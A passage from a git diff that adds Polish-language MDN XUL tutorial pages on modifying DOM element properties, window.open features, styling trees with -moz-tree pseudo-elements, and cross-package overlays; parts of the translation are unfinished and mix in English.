+<p><span id="Przyk%C5%82ad_3"><a id="Przyk%C5%82ad_3"></a><strong>Przykład 3</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_dommodify_3.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_dommodify_3.xul">Podgląd</a></p>
+
+<pre>&lt;button label="Hello" oncommand="this.label = 'Goodbye';"/&gt;
+</pre>
+
+<p>Po naciśnięciu przycisku, element <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/label">label</a></span></code> zostaje zmieniony. Ten sam efekt można uzyskać dla różnych elementów posiadających etykietę. Polu tekstowemu można zmienić <code><code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/value">value</a></span></code></code>:</p>
+
+<p><span id="Przyk%C5%82ad_4"><a id="Przyk%C5%82ad_4"></a><strong>Przykład 4</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_dommodify_4.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_dommodify_4.xul">Podgląd</a></p>
+
+<pre>&lt;button label="Add" oncommand="this.nextSibling.value += '1';"/&gt;
+&lt;textbox/&gt;
+</pre>
+
+<p>Ten przykład dodaje '1' do pola tekstowego za każdym razem, kiedy przycisk zostanie naciśnięty. Właściwość <code><a href="/pl/DOM/element.nextSibling" title="pl/DOM/element.nextSibling">nextSibling</a></code> przemieszcza się z aktualnego elementu (przycisku) na następny (pole tekstowe). Operator += dodaje znaki do zawartości pola tekstowego, w naszym wypadku jest to zawsze '1'. Oczywiście użytkownik może również edytować pole tekstowe. Istnieje również możliwość pobrania etykiety lub wartości elementu, jak w następującym przykładzie:</p>
+
+<p><span id="Przyk%C5%82ad_5"><a id="Przyk%C5%82ad_5"></a><strong>Przykład 5</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_dommodify_5.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_dommodify_5.xul">Podgląd</a></p>
+
+<pre>&lt;button label="Hello" oncommand="alert(this.label);"/&gt;
+</pre>
+
+<h4 id="Przerzutnik_przycisku_wyboru" name="Przerzutnik_przycisku_wyboru">Przerzutnik przycisku wyboru</h4>
+
+<p>Element typu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/checkbox" title="checkbox">checkbox</a></code></code> ma własność <code><code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/checked">checked</a></span></code></code>, przy pomocy, której można zaznaczać lub odznaczać dany element. W poniższym przykładzie stan pola wyboru jest zmieniany po każdym użyciu przycisku. Zauważ, że własność <code><code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/label">label</a></span></code></code> i <code><code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/value">value</a></span></code></code>, są typu string (łańcuch znaków), podczas gdy własność <code><code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/checked">checked</a></span></code></code> to typ booleanowski, który może być ustawiony jako <code>true</code> lub <code>false</code>:</p>
+
+<p><span id="Przyk%C5%82ad_6"><a id="Przyk%C5%82ad_6"></a><strong>Przykład 6</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_dommodify_6.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_dommodify_6.xul">Podgląd</a></p>
+
+<pre>&lt;button label="Zmień" oncommand="this.nextSibling.checked = !this.nextSibling.checked;"/&gt;
+&lt;checkbox label="Check for messages"/&gt;
+</pre>
+
+<p><span class="comment">'''Radio buttons may be selected as well using properties, however since only one in a group may be selected at a time, the others must all be unchecked when one is checked. You don't have to do this manually of course. The radiogroup's &lt;code&gt;<code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/selectedIndex">selectedIndex</a></span></code>&lt;/code&gt; property may be used to do this. The &lt;code&gt;<code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/selectedIndex">selectedIndex</a></span></code>&lt;/code&gt; property may be used to retrieve the ''index'' of the selected radio button in the group and well as change it.'''</span></p>
+
+<p>Przyciski opcji mogą zostać zaznaczone przy pomocy własności, ale ponieważ nie może być zaznaczony więcej niż jeden z grupy, pozostałe w tym czasie muszą być odznaczone. Oczywiście nie trzeba tego robić ręcznie, można w tym celu użyć własności <code><code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/selectedIndex">selectedIndex</a></span></code></code> elementu przycisku opcji. Ta sama własność może również pobrać numer aktualnie zaznaczonego elementu przycisku opcji.</p>
+
+<h4 id="Changing_a_element_disabled_or_enabled" name="Changing_a_element_disabled_or_enabled">Changing a element disabled or enabled</h4>
+
+<p>Często elementy, które nie powinny być dostępne dla użytkownika w danej chwili, są blokowane. Na przykład w oknie dialogowym użytkownik może mieć do wyboru kilka możliwości, a jedna z nich wprowadza dodatkowe opcje. Poniżej przykład:</p>
+
+<p><span id="Przyk%C5%82ad_7"><a id="Przyk%C5%82ad_7"></a><strong>Przykład 7</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_dommodify_7.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_dommodify_7.xul">Podgląd</a></p>
+
+<pre>&lt;script&gt;
+function updateState(){
+ var name = document.getElementById("name");
+ var sindex = document.getElementById("group").selectedIndex;
+ name.disabled = sindex == 0;
+}
+&lt;/script&gt;
+
+&lt;radiogroup id="group" onselect="updateState();"&gt;
+ &lt;radio label="Random name" selected="true"/&gt;
+ &lt;hbox&gt;
+ &lt;radio label="Specify a name:"/&gt;
+ &lt;textbox id="name" value="Jim" disabled="true"/&gt;
+ &lt;/hbox&gt;
+&lt;/radiogroup&gt;
+</pre>
+
+<p>W tym przykładzie funkcja updateState() jest wywołana, kiedy zdarzenie select zostanie uruchomione w grupie elementów <code><code><a href="/pl/docs/Mozilla/Tech/XUL/radio" title="radio">radio</a></code></code>. Ma to miejsce kiedy przycisk opcji zostanie zaznaczony. Funkcja ta, przy pomocy własności <code><code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/selectedIndex">selectedIndex</a></span></code></code>, pobiera indeks aktualnie zaznaczonego elementu. Zauważ, iż mimo że jeden z elementów <code><code><a href="/pl/docs/Mozilla/Tech/XUL/radio" title="radio">radio</a></code></code> jest wewnątrz pola <code><code><a href="/pl/docs/Mozilla/Tech/XUL/hbox" title="hbox">hbox</a></code></code>, dalej stanowi część grupy <em>radiogroup</em>. Jeśli pierwszy element jest zaznaczony (indeks równy 0), pole tekstowe zostaje zablokowane. Jeśli drugi element - można edytować pole tekstowe.</p>
+
+<p>Następny artykuł dostarczy nam więcej szczegółowych informacji o <a href="/pl/Kurs_XUL/Manipulowanie_listami" title="pl/Kurs_XUL/Manipulowanie_listami">manipulacji grupami przycisków opcji tak samo jak manipulacji listami</a>.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL/Obiektowy_model_dokumentu" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL/Manipulowanie_listami">Następny »</a></p>
+</div><p></p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/możliwości_okna/index.html b/files/pl/mozilla/tech/xul/kurs_xul/możliwości_okna/index.html
new file mode 100644
index 0000000000..19fff23e21
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/możliwości_okna/index.html
@@ -0,0 +1,74 @@
+---
+title: Możliwości okna
+slug: Mozilla/Tech/XUL/Kurs_XUL/Możliwości_okna
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Features_of_a_Window
+---
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Przykład_XBL" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Tworzenie_okien_dialogowych">Następny »</a></p>
+</div><p></p>
+
+<p>Do tej pory zobaczyliśmy niektóre możliwości okien. W tym artykule przyjrzymy się jeszcze innym.</p>
+
+<h2 id="Tworzenie_kolejnego_okna" name="Tworzenie_kolejnego_okna">Tworzenie kolejnego okna</h2>
+
+<p>Możesz stworzyć drugie okno swojej aplikacji w ten sam sposób, w jaki tworzyłeś pierwsze. Po prostu stwórz drugi plik XUL z kodem okna. Tak jak w języku HTML możesz użyć funkcji <code><a href="/pl/DOM/window.open" title="pl/DOM/window.open">window.open()</a></code> do otwarcia drugiego okna. Ta funkcja zwróci odnośnik do nowo otwartego okna. Możesz używać tego odnośnika, aby wywoływać funkcje w drugim oknie.</p>
+
+<p>Funkcja otwarcia wymaga trzech argumentów. Pierwszy to adres URL pliku, który chcesz otworzyć. Kolejny to wewnętrzna nazwa okna. Ostatni to lista wyświetlanych flag. Flaga "chrome" jest ważna, gdy chcemy otworzyć okno jako plik chrome. Jeśli nie dodasz flagi <a href="/pl/DOM/window.open#Toolbar_and_chrome_features" title="pl/DOM/window.open#Toolbar_and_chrome_features">chrome</a>, to plik otworzy się jako zawartość okna przeglądarki.</p>
+
+<p>Przykład:</p>
+
+<pre>var myWin = window.open("chrome://findfile/content/findfile.xul","findfile","chrome");
+</pre>
+
+<h2 id="Okre.C5.9Blenie_szeroko.C5.9Bci_i_wysoko.C5.9Bci" name="Okre.C5.9Blenie_szeroko.C5.9Bci_i_wysoko.C5.9Bci">Określenie szerokości i wysokości</h2>
+
+<p>Powinieneś zauważyć, że kiedy tylko elementy zostały dodane do okna, to jego szerokość zmienia się tak, żeby zmieścić wszystkie elementy. Okno to naprawdę pudełko o ruchomych ściankach i nastawione domyślnie na orientację pionową. Możesz także podać dokładne wymiary bezpośrednio w znaczniku <code><code><a href="/pl/docs/Mozilla/Tech/XUL/window" title="window">window</a></code></code>. To oczywiście sprawi, że okno zostanie wyświetlone w tym właśnie rozmiarze. Jeśli jednak nie zdefiniujesz rozmiarów, wielkość okna będzie zdeterminowana przez jego wewnętrzne elementy.</p>
+
+<pre>&lt;window
+ id="findfile-window"
+ title="Znajdź pliki"
+ width="400"
+ height="450"
+ xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
+</pre>
+
+<p>W tym przykładzie okno będzie miało 400 pikseli szerokości i 450 pikseli wysokości. Nawet, jeśli nie ma w nim wystarczająco dużo elementów, żeby wypełnić całą przestrzeń, okno nadal będzie miało takie wymiary i puste pole będzie widniało tam, gdzie brakuje elementów. Jeśli byłoby zbyt dużo elementów, okno będzie za małe, żeby pomieścić wszystkie elementy. Użytkownik będzie musiał zmienić rozmiar okna. Trzeba być uważnym, gdy definiuje się szerokość i wysokość, tak żeby okno nie było za małe albo za duże.</p>
+
+<p>Zauważ, że musisz podać zarówno szerokość i wysokość. Jeśli zdefiniujesz tylko jeden wymiar, drugi będzie automatycznie ustawiony na zerową wartość. Aby okno samo się dopasowywało do elementów, pozostaw obydwa wymiary niezdefiniowane.</p>
+
+<p>Wysokość i szerokość określają tylko początkową wielkość okna. Użytkownik może nadal zmieniać jego wymiary, jeśli oczywiście mu na to pozwolimy.</p>
+
+<h2 id="Inne_mo.C5.BCliwo.C5.9Bci_okna" name="Inne_mo.C5.BCliwo.C5.9Bci_okna">Inne możliwości okna</h2>
+
+<p>Poniższe flagi mogą być wpisywane w miejsce trzeciego argumentu funkcji window.open. Twój system operacyjny nie musi jednak wszystkich obsługiwać. Możesz także używać jakiejkolwiek z wcześniej zdefiniowanych flag, które można znaleźć w odnośnikach JavaScript. Możesz wyłączyć cechę przez przestawienie ją na "no", np. 'dialog=no'.</p>
+
+<dl>
+ <dt>alwaysLowered </dt>
+ <dd>Okno będzie zawsze pojawiało się za pozostałymi otwartymi oknami.</dd>
+ <dt>alwaysRaised </dt>
+ <dd>Okno będzie zawsze pojawiało się ponad pozostałymi otwartymi oknami.</dd>
+ <dt>centerscreen </dt>
+ <dd>Okno będzie zawsze pojawiało się w centrum ekranu.</dd>
+ <dt>dependent </dt>
+ <dd>Okno będzie zawsze połączone z oknem, z którego zostało otwarte. Jeśli ruszymy oknem pierwotnym, to nowo otwarte też się odpowiednio przesunie.</dd>
+ <dt>dialog </dt>
+ <dd>Okno dialogowe.</dd>
+ <dt>modal </dt>
+ <dd>Okno dialogowe jest modalne. Okno, z którego zostało otwarte okno modalne (dialogowe), nie może odpowiadać dopóki nie zostanie zamknięte pochodne okno dialogowe.</dd>
+ <dt>resizable </dt>
+ <dd>Użytkownik może zmieniać wymiary okna.</dd>
+</dl>
+
+<p><small>Zobacz także dokumentację <a href="/pl/DOM/window.open" title="pl/DOM/window.open">DOM window.open()</a></small></p>
+
+<p><span class="comment">'''"Odrobaczanie" (debugging) okna''' Kolejną przydatną cechą jest umożliwienie trybu debug dla danego okna. Aby tego dokonać dodaj atrybut ''debug'' do okna i ustaw go na &lt;code&gt;true&lt;/code&gt;. To sprawi, że okno będzie wyświetlało obramowania i puste pola, więc będziesz wiedział co się dzieje. Poniższy przykład ilustruje sposób użycia tej metody: &lt;window id="findfile-window" title="Znajdź pliki" debug="true" xmlns:html="<a class="external" href="http://www.w3.org/1999/xhtml" rel="freelink">http://www.w3.org/1999/xhtml</a>" xmlns="<a class="external" href="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" rel="freelink">http://www.mozilla.org/keymaster/gat...re.is.only.xul</a>"&gt; Poniższy rysunek przedstawia efekt takiej komendy na przykładzie prostego okna: Grafika: XUL_rys_1.jpg *Niebieskie ramki oznaczają poziome okienka. *Czerwone ramki oznaczają pionowe okienka. Można zobaczyć, że całe okno jest również pionowym oknem. *Zygzaki pokazują elementy dopasowujące się. W tym przypadku pole puste jest rozciągliwe, więc nad nim widoczny jest zygzak. *Linie pokazują miejsca, gdzie znajdują się elementy nierozciągliwe. Na tym przykładowym rysunku są to: tekst, pole do wypełniania i przyciski. *Białe kwadraty oznaczają krawędzie elementu. Na obrazku można zauważyć kilka dodatkowych pól. Dzieje się tak, ponieważ każdy element XUL sam składa się z kilku pól, zdefiniowanych przez XBL. Zwyczajowo można je pominąć. Można zdefiniować atrybut ''debug'' dla każdego pola, a nie tylko okna.</span></p>
+
+<p>W następnym artykule zajmiemy się <a href="/pl/Kurs_XUL/Tworzenie_okien_dialogowych" title="pl/Kurs_XUL/Tworzenie_okien_dialogowych">otwieraniem podrzędnych okien dialogowych</a>.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Przykład_XBL" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Tworzenie_okien_dialogowych">Następny »</a></p>
+</div><p></p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/nadawanie_stylu_drzewa/index.html b/files/pl/mozilla/tech/xul/kurs_xul/nadawanie_stylu_drzewa/index.html
new file mode 100644
index 0000000000..81ce9a8d06
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/nadawanie_stylu_drzewa/index.html
@@ -0,0 +1,156 @@
+---
+title: Nadawanie stylu drzewa
+slug: Mozilla/Tech/XUL/Kurs_XUL/Nadawanie_stylu_drzewa
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Styling_a_Tree
+---
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Dodawanie_arkuszy_stylów" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Modyfikacja_domyślnego_motywu">Następny »</a></p>
+</div> Opis jak stosujemy style w drzewach.<p></p>
+
+<h2 id="Nadawanie_stylu_drzewa" name="Nadawanie_stylu_drzewa">Nadawanie stylu drzewa</h2>
+
+<p>Możesz nadać style obramowaniu drzewa i nagłówkom kolumn, robiąc to w identyczny sposób jako osobne elementy. Dodanie stylu do elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/tree" title="tree">tree</a></code></code> będzie zastosowany w encji drzewa. Dodanie stylu do elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/treecol" title="treecol">treecol</a></code></code> nie spowoduje, że styl znajdzie zastosowanie do kolumny, a tylko do nagłówka.</p>
+
+<p>Ciało drzewa musi być stylowane trochę w inny sposób, jak inne elementy. Zewnętrzny <code><code><a href="/pl/docs/Mozilla/Tech/XUL/treechildren" title="treechildren">treechildren</a></code></code> jest tylko prawdziwym elementem w ciele drzewa. Wewnętrzny elementy są tylko do rezerwacji miejsca.</p>
+
+<h3 id="Ustawianie_w.C5.82asno.C5.9Bci" name="Ustawianie_w.C5.82asno.C5.9Bci">Ustawianie własności</h3>
+
+<p>Zamiast tego, musisz użyć <code><code id="a-properties"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/properties">properties</a></code></code> atrybutu wierszy i komórek, aby ustawić jedną lub więcej nazw właściwości. Możemy tego używać z drzewami z wartościami statycznymi, RDF buduje zawartość w podany sposób wraz z widokiem. Powiedzmy, że chcemy uzyskać szczególny pasek(wiersz(?)) o niebieskim kolorze tła. Zostało to zaimplementowane we właściwościach etykiety Mozilla Mail's. Będziemy używać własności nazwanej 'makeItBlue'. Możesz jej użyć zawsze, gdy potrzebujesz nazwy. Możesz ustawić wielokrotne własności oddzielając je za pomocą spacji.</p>
+
+<p>Ustaw własność wiersza lub komórki tabeli, jak jest to pokazane w poniższym przykładzie:</p>
+
+<pre>&lt;treerow properties="makeItBlue"&gt;
+</pre>
+
+<h3 id="Selektory_CSS_dla_drzewa" name="Selektory_CSS_dla_drzewa">Selektory CSS dla drzewa</h3>
+
+<p>Arkusze stylów potrafią pobierać tą własność i używać do zmiany wyglądu wiersza dla nieczytelnej wiadomości e-mail lub etykiety. Wymyśl właściwości jako funkcjonujące bardziej, niż klasa stylu, chociaż odpowiada ona czemuś więcej, kompleksowa składnia do użycia w pliku arkusza stylów. Jest tak ponieważ możesz wyszczególnić style dla pewnych części lub indywidualnych komórek. Nie możesz używać stylów dla tekstu, jeśli są one komórkami, ale złożone z wcięciem. Następujący przykład jest składnia, która musi być użyta:</p>
+
+<pre>treechildren::-moz-tree-row(makeItBlue)
+{
+ background-color: blue;
+}
+</pre>
+
+<p>Ten dodatkowy pseudostyl jest użyty do stylowania kolorem tła dla wiersza, który ma własność 'makeItBlue'. Ta specjalna składnia jest potrzebna ponieważ komórki nie potrafią rozdzielić elementów. Cała zawartość wewnątrz ciała drzewa, jest interpretowane przez element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/treechildren" title="treechildren">treechildren</a></code></code> (uwaga <code><code><a href="/pl/docs/Mozilla/Tech/XUL/treechildren" title="treechildren">treechildren</a></code></code> się staje sformatowany stylami w zasadzie poniżej.) Pseudostyl ustawia zasady stylów dla określonych części, co ma zostać wyświetlone. Ta zasada stylów znaczy, że wewnątrz element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/treechildren" title="treechildren">treechildren</a></code></code>, ustawia kolor tła na niebieski dla wszystkich wierszy drzewa mających własność 'makeItBlue'.</p>
+
+<p>Tekst '<code>::-moz-tree-row</code>' określa zawartość obszaru jaki jest potrzebny, który w tym przypadku jest wierszem. Możesz także użyć następujących wartości:</p>
+
+<ul>
+ <li><code>::-moz-tree-cell:</code> Komórka. Użyj do określenia obramowania i koloru tła.</li>
+ <li><code>::-moz-tree-cell-text:</code> Tekst w komórce. Użyj do ustawienia czcionki i koloru tekstu.</li>
+ <li><code>::-moz-tree-twisty:</code> Pojawienie się zwoju uzyskamy rozszerzenie lub upadek potomka wiersza.</li>
+ <li><code>::-moz-tree-image:</code> Obrazek w komórce. Możesz ustawić obrazek z własnościami <code><a href="pl/CSS/list-style-image">list-style-image</a></code>.</li>
+ <li><code>::-moz-tree-row:</code> Wiersz. Użyj go aby ustawić kolor tła wiersza.</li>
+ <li><code>::-moz-tree-indentation<b>:</b></code> Wcięcie do lewej strony wierszy są potomkami reszty wierszy.</li>
+ <li><code>::-moz-tree-column<b>:</b></code> Kolumna.</li>
+ <li><code>::-moz-tree-line:</code> Linie są rysowane z połączenie potomka-dziecka wiersza do wiersza potomka-rodzica.</li>
+ <li><code>::-moz-tree-separator:</code> Separator w drzewie.</li>
+ <li><code>::-moz-tree-progressmeter:</code> Wartość metra postępu komórek. Możesz utworzyć metr postępu poprzez ustawienia atrybutu <code>type</code> w kolumnie <code>progressmeter</code>.</li>
+ <li><code>::-moz-tree-drop-feedback:</code> Sprzężenie zwrotne 'chwyć i upuść'.</li>
+</ul>
+
+<p>Sprawdź użycie kilku własności oddzielając je przecinkiem. Przykład poniżej ustawia kolor tła na szary dla wierszy, które posiadają określoną właściwość 'readonly' i 'unread'. Dla własności, które są 'readonly' (tylko do odczytu), zostanie dodana czerwona linia obramowania wokoło wiersza. Ważna jest, kolejność określania zasad i ich zapisanie jako jakiś wiersz, który posiada atrybut 'readonly' ustawiony bez względu na to czy są inne własności takie jak 'unread'.</p>
+
+<pre>treechildren::-moz-tree-row(readonly)
+{
+ border: 1px solid red;
+}
+
+treechildren::-moz-tree-row(readonly, unread)
+{
+ background-color: rgb(80%, 80%, 80%);
+}
+</pre>
+
+<h3 id="Domy.C5.9Blne_w.C5.82asno.C5.9Bci" name="Domy.C5.9Blne_w.C5.82asno.C5.9Bci">Domyślne własności</h3>
+
+<p>Lista właściwości dla elementów stanowiących drzewo jest domyślnie bardzo mała dla domyślnych ustawień, które można także użyć jako arkusze stylów. Możemy używać tych dodatkowych właściwości do ustawienia appearance of containers or selected rows. The following properties are automatically set as needed:</p>
+
+<dl>
+ <dt>focus</dt>
+ <dd>ta własność jest ustawiona jeśli the tree currently has the focus.</dd>
+ <dt>selected</dt>
+ <dd>ta własność jest ustawiona dla wierszy i komórek, które są aktualnie zaznaczone.</dd>
+ <dt>current</dt>
+ <dd>ta własność jest ustawiona jeśli tkursor jest w wierszu. Tylko jeden wiersz będzie miał ustawioną własność na czas.</dd>
+ <dt>container</dt>
+ <dd>ta własność jest ustawiona dla wierszy i komórek posiadających, który element dziedziczył z wiersza tabeli.</dd>
+ <dt>leaf</dt>
+ <dd>ta własność jest ustawiona dla wierszy i komórek których nie ma potomek wiersza.</dd>
+ <dt>open</dt>
+ <dd>ta własność jest ustawiona dla wierszy i komórek które są expanded.</dd>
+ <dt>closed</dt>
+ <dd>ta własność jest ustawiona dla wierszy i komórek które są zawinięte.</dd>
+ <dt>primary</dt>
+ <dd>ta własność jest ustawiona dla komórek w primary column.</dd>
+ <dt>sorted</dt>
+ <dd>ta własność jest ustawiona dla komórek w the current sorted column.</dd>
+ <dt>even</dt>
+ <dd>ta własność jest ustawiona dla even numbered rows.</dd>
+ <dt>odd</dt>
+ <dd>ta własność jest ustawiona dla odd numbered rows. This property, along with the even property allow you to set, dla przykładu, alternating colors for each row.</dd>
+ <dt>dragSession</dt>
+ <dd>ta własność jest ustawiona jeśli coś something is currently being dragged.</dd>
+ <dt>dropOn</dt>
+ <dd>if a drag is occuring over the tree, ta własność jest ustawiona dla the row currently being dragged over, as long as the mouse pointer is hovering over the row.</dd>
+ <dt>dropBefore</dt>
+ <dd>ta własność jest ustawiona jeśli kursor myszki ...</dd>
+ <dt>dropAfter</dt>
+ <dd>ta własność jest ustawiona jeśli kursor myszki jest nad lub pod jest kursor myszki jest przed obecną męką.</dd>
+ <dt>progressNormal</dt>
+ <dd>ta własność jest ustawiona dla progress meter cells.</dd>
+ <dt>progressUndetermined</dt>
+ <dd>ta własność jest ustawiona dla undeterminate progress meter cells.</dd>
+ <dt>progressNone</dt>
+ <dd>ta własność jest ustawiona dla non-progress meter cells.</dd>
+</dl>
+
+<p>The properties are set for rows or cells in rows with the necessary state. For columns and cells, one additional property, the id of the column or column the cell is in will be set.</p>
+
+<h3 id="Ustawienie_w.C5.82asno.C5.9Bci_dla_kompilacji_drzew_RDF" name="Ustawienie_w.C5.82asno.C5.9Bci_dla_kompilacji_drzew_RDF">Ustawienie własności dla kompilacji drzew RDF</h3>
+
+<p>Dla zbudowania drzewa RDF, możemy użyć tej samej składni. Jednakże, często będziesz musiał ustawiać właściwości opartych na wartościach znajdujących się w kodzie źródłowym.</p>
+
+<h3 id="Ustawienie_w.C5.82asno.C5.9Bci_dla_W.C5.82asnego_widoku_drzewa" name="Ustawienie_w.C5.82asno.C5.9Bci_dla_W.C5.82asnego_widoku_drzewa">Ustawienie własności dla Własnego widoku drzewa</h3>
+
+<p>For trees with a custom view script, you can set properties by supplying the functions 'getRowProperties', <code>getColumnProperties()</code> and <code>getCellProperties()</code> in the view. These return information about an individual row, column and cell. Arguments to these functions indicate which row and/or column. The last argument to each of these functions is a properties list which the view is expected to fill with a list of properties. The function <code>getColumnProperties()</code> also supplies the corresponding <code><code><a href="/pl/docs/Mozilla/Tech/XUL/treecol" title="treecol">treecol</a></code></code> element for the column.</p>
+
+<pre>getRowProperties : function(row,prop){}
+getColumnProperties : function(column,columnElement,prop){}
+getCellProperties : function(row,column,prop){}
+</pre>
+
+<p>Let's look at an example of changing a specific cell. Let's make every fourth row have blue text, using the example from a previous section. We'll need to add code to the <code>getCellProperties()</code> function, to add a property 'makeItBlue' for cells in every fourth row. (We don't use getRowProperties as the text color will not be inherited into each cell.)</p>
+
+<p>The properties object that is passed as the last argument to the getCellProperties is an <a href="pl/XPCOM">XPCOM</a> object that implements nsISupportsArray. It is really just an XPCOM version of an array. It contains a function AppendElement which can be used to add an element to the array. We can use the interface nsIAtomService to constuct string atoms for the properties.</p>
+
+<pre>getCellProperties: function(row,col,props){
+ if ((row %4) == 0){
+ var aserv=Components.classes["@mozilla.org/atom-service;1"].
+ getService(Components.interfaces.nsIAtomService);
+ props.AppendElement(aserv.getAtom("makeItBlue"));
+ }
+}
+</pre>
+
+<p>This function would be defined as part of a view object. It first checks to see which row is being requested and sets a property for cells in every fourth row. The properties list requires an array of atom objects, which can be thought of as constant strings. We create them using the XPCOM interface nsIAtomService and add them to the array using the AppendElement function. Here, we create an atom 'makeItBlue'. You can call AppendElement again to add additional properties.</p>
+
+<h3 id="Przyk.C5.82ad_arkusza_styl.C3.B3w" name="Przyk.C5.82ad_arkusza_styl.C3.B3w">Przykład arkusza stylów</h3>
+
+<pre>treechildren::-moz-tree-row(selected) { background-color: #FFFFAA; }
+treechildren::-moz-tree-row(odd) { background-color: #EEEEEE; }
+treechildren::-moz-tree-row(odd, selected) { background-color: #FFFFAA; }
+treechildren::-moz-tree-cell-text(selected) { color: #000000; }
+treechildren::-moz-tree-cell-text(odd, selected) { color: #000000; }
+</pre>
+
+<p>Na następnej stronie zobaczymy w jaki <a href="pl/Kurs_XUL/Modyfikacja_domy%c5%9blnego_motywu">sposób zmodyfikować domyślny motyw</a>.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Dodawanie_arkuszy_stylów" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Modyfikacja_domyślnego_motywu">Następny »</a></p>
+</div><p></p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/nakładki_dla_wielu_pakietów/index.html b/files/pl/mozilla/tech/xul/kurs_xul/nakładki_dla_wielu_pakietów/index.html
new file mode 100644
index 0000000000..c006eef58e
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/nakładki_dla_wielu_pakietów/index.html
@@ -0,0 +1,89 @@
+---
+title: Nakładki dla wielu pakietów
+slug: Mozilla/Tech/XUL/Kurs_XUL/Nakładki_dla_wielu_pakietów
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Cross_Package_Overlays
+---
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Nakładki" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Tworzenie_instalatora">Następny »</a></p>
+</div> Ten artykuł opisuje, jak zastosować nakładki do plików, które ich nie importują.<p></p>
+
+<h2 id="Zastosowanie_nak.C5.82adek_do_innych_pakiet.C3.B3w" name="Zastosowanie_nak.C5.82adek_do_innych_pakiet.C3.B3w">Zastosowanie nakładek do innych pakietów</h2>
+
+<div class="note">Note: This section talks about contents.rdf which has been replaced in <a href="pl/Gecko">Gecko</a> 1.8 by <a href="pl/Kurs_XUL/Pliki_manifestu">pliki manifestu</a>.</div>
+
+<p>Nakładki mają inną użyteczna cechę. W przykładach z <a href="pl/Kurs_XUL/Nak%c5%82adki">poprzedniej sekcji</a>, nakładki były importowane przez okno. Możesz również podejść do tego z innej strony i posiadać wyszczególnione nakładki które stosują okna. Wyszczególnisz je przez zmodyfikowanie pliku content.rdf twojego pakietu. Jest to użyteczne ponieważ nakładka może modyfikować interfejs użytkownika lub inny pakiet bez zmiany innego pakietu. Na przykład możesz dodać pozycję <a href="pl/Kurs_XUL/Proste_paski_menu">menu</a> lub <a href="pl/Kurs_XUL/Paski_narz%c4%99dzi">pasek narzędziowy</a> do okna przeglądarki Mozilla.</p>
+
+<p>Użyjemy tej cechy do dodania paska zadań do okna przeglądarki Mozilli Aplikacja Mozilla Mail używa nakładek dla dodawania zawartości do okna przeglądarki. Na przykład, jeśli Mail nie jest zainstalowany, nie będzie polecenia Nowa Wiadomość. Jednak jeśli Mail jest zainstalowany, nakładka będzie zastosowana w menu dla dodania polecenia Nowa Wiadomość. Poniżej dodamy pasek narzędziowy znajdowania plików do przeglądarki. Ta cecha nie będzie prawdopodobnie zbyt użyteczna, ale zróbmy to.</p>
+
+<p>Mozilla pozwala ci dodać listę nakładek do pliku content.rdf, którego używasz do listy chromowych (pokazowe funkcje, które przyciągają uwagę użytkowników, ale niewiele wnoszą do możliwości systemu)pakietów, skórek i narodowości. Kiedyś tworząc nakładkę musiałeś dodać ją do pliku content.rdf. Potem dodać pozycję, jedną dla każdego okna w jakim chciałeś zastosować nakładkę.</p>
+
